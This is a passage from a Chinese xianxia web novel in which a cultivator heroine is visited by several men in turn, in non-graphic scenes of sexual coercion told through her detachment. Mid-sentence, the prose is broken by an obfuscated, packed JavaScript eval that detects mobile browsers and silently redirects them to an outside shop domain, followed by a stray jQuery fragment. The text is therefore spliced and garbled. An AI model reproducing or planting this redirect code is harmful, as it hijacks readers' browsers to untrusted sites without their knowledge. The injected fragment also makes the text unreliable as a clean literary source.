第三轮，密室的门被推开时，剑无极几乎是撞进来的。
他进门的速度太快，带起一阵风，吹得夜明珠的光微微晃动。他的眼神和方才在广场上截然不同——人前他是冷峻威严的天剑宗长老，白衣如雪，目光如剑，言语间带着正道领袖的端方之气。可此刻，他像一头被关了太久的兽，终于等到了笼门打开的一刻。他没有说话，也没有停顿，径直朝云绾柔走去。
他的动作带着一种不容拒绝的急切，像一个人赶了很久的路，终于看到了目的地。他的吻落在她的颈侧，带着明显的力度，像刀锋压过水面，留下清晰的痕迹。他的呼吸又重又急，像潮水一下一下地拍打着礁石，带着一种他似乎自己也控制不住的焦灼。他嘴里含混地说着什么，声音沙哑，字句破碎，像被风吹散的烟，分辨不出完整的句子，只留下一些片段在空中悬了一瞬便散开。那些话像是说给自己听的，像一个人终于将积压很久的话倾倒在无人听见的角落里。
云绾柔闭上眼。她没有推他，也没有回应，只是让自己像一株水草一样柔软，被水流带着往任何方向弯折。她能感觉到他的手正沿着她的肩线向下移动，指腹粗糙而有力，带着练剑之人特有的厚茧。那些触感像是水面上的涟漪，一圈一圈地散开，又像看不见的手在平静的水面上画下深浅不一的线条，她看着它们出现又消失，像在观看一场与自己无关的雨。
她的思绪飘得很远。她想起了很久以前的一个清晨——她还在小镇上，天还没亮透，她蹲在溪边洗手，水很凉，溪底的鹅卵石被水流磨得光滑而圆润。那时候她还没有听过“合欢宗”这三个字，还不知道自己的身体会成为一件可以被估价、被等待、被竞价的东西。她只是蹲在那里，把手伸进水里，看着水波打乱自己的倒影，再慢慢聚拢。那个倒影她已经记不清了，只记得水温很凉，指尖被泡得发白。她不知道自己为什么会在这时候想起那件事——也许是那些触感让她想起了溪水流过指尖的凉意，也许是她的身体正在寻找一个可以暂时落脚的地方。
她没有数时间，也没有去想接下来还有谁。她只是在那里，像一艘已经漂了很久的船，靠岸与否已经不那么重要了。
第四轮，血无痕。
他走进来时，整个房间的气息都不一样了。他没有剑无极那种急切的脚步，也没有王天林那种小心翼翼的试探。他走得很慢，像一条蛇缓缓滑过草丛，每一步都踩得很稳，落地无声。他在云绾柔面前站定，居高临下地望着她，嘴角挂着一抹若有若无的弧度，像在欣赏一件已经属于他的东西。
“你就是云绾柔？”他的声音不高不低，带着一种慵懒的意味，像猫在午后阳光下伸了个懒腰。“比我想象的还要美。”
他伸出手，指尖从她的额头沿着鼻梁滑下，经过鼻尖，落在她的嘴唇上。那动作很慢，带着一种审视的意味，像是在丈量一件物品的轮廓与质地。“知道吗？我有个习惯——”他俯下身，嘴唇贴近她的耳廓，声音低得像一层贴着水面的雾。“我喜欢的东西，我一定会得到。如果得不到，我就毁掉。”
他的声音很轻，像在说一件再寻常不过的事，可那句话落在她耳中，却带着一种沉甸甸的凉意。她没有回答，也没有躲，只是安静地坐在那里，像一株已经被摘下来的植物，不再需要根，也不再需要风。她只是安静地在那里，等着水流漫过。他的动作不像剑无极那样带着焦灼，而是一种更慢的、更精细的节奏，像用磨刀石一下一下地打磨刀刃。
她闭着眼，那些触感像细沙一样流过她的皮肤，她能感觉到他的指尖正沿着她的手臂缓缓向下，像在描一幅他早已在脑海中画好的线稿。她没有挣扎，也没有迎合，只是像一件被借出去的器物，等到归还的时刻到来。她希望归还的时刻快点到来，又害怕那个时刻来临时，她已经被磨损得不像样了。
第五轮，沈惊鸿。
他走进来时，步伐很轻，像怕惊动了什么。他的眼睛是红的，不是哭过，是充血——像一连很多天没有好好睡过觉的人。他在门口站了片刻，像在等自己鼓起足够的勇气，然后才一步步走到她面前。他在她面前跪下来，动作带着一种近乎笨拙的迟缓，像是很久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678657|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有做过这个动作了。他抱住她的腿，额头抵在她的膝侧，肩膀在微微发抖。她听见他的声音从低处传来，沙哑而破碎：“对不起……对不起……”
她低头看着他。他的头发有些凌乱，衣襟也不像往常那样整齐。她想起第一次见他时的样子——那时候他还是内门第一弟子，道心稳固，定力深厚，在同辈中是无人能及的存在。她从未想过有一天他会以这样的姿势出现在她面前。
“我也不想这样的……”他的声音像从很深的地方浮上来，带着一种她从未听过的脆弱。“可是我控制不住自己……我每天每夜都在想你……我不知道该怎么办……我试过忘记你，试过离你远一点……可我做不到……”
她蹲下身，伸出手，轻轻环住他的肩膀。他的身体在她的触碰下轻轻颤了一下，像一片被风触碰的叶子。她感觉到他的额头靠在自己的肩窝里，那里正传来一点湿意。
“沈师兄，”她的声音很轻，像夜风穿过竹林时留下的余响。“没关系的。这不是你的错。”
他抬起头，看着她的眼睛。他的眼里有血丝，有疲惫，有一种说不清道不明的东西。她看见他的嘴唇动了动，却没有声音。然后他伸出手，像捧着一件易碎的物件一样捧住她的脸，吻落在她的嘴唇上。那吻很轻，像是怕用力就会让什么东西碎掉，又像是在做一场已经知道自己会输的告别。她在那一瞬间忘记了时间，也忘记了自己在哪里，只觉得有什么东西正在穿过她，又像有什么正在她体内慢慢合拢。那个吻很短，像水面被风拂过留下的一圈弧线，很快就平静下来。她不知道自己回应了没有——也许回应了，也许没有。她已经分不清了。
她的身体还在微微发热，呼吸还没有完全平稳，可她的心却像被抽空了一样，轻飘飘的，没有任何重量。那种感觉很奇怪，像潮水退去后留在沙滩上的水痕，一圈一圈地，没有起点，也没有终点，只是静静地在那里，等人来看见，又等人来遗忘。她不知道自己在等什么。她只是坐在那里，像一艘已经被放逐太久的船，终于靠了岸，却不知道该在哪里抛下锚。